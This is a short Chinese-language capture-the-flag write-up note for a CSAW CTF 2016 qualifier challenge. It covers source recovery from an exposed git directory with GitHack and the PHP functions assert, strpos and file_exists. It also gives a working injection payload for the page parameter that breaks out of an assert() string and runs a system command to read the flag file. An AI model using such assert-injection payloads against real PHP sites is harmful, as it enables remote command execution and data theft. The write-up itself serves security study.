題目來源csaw-ctf-2016-quals
使用GitHack
assert() 檢查一個斷言是否為 FALSE
strpos() 函數查找字符串在另一字符串中第一次出現的位置。
file_exists() 函數檢查文件或目錄是否存在。
payload:
?/page=
about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag
查看網頁源代碼
知識:git漏洞、代碼審計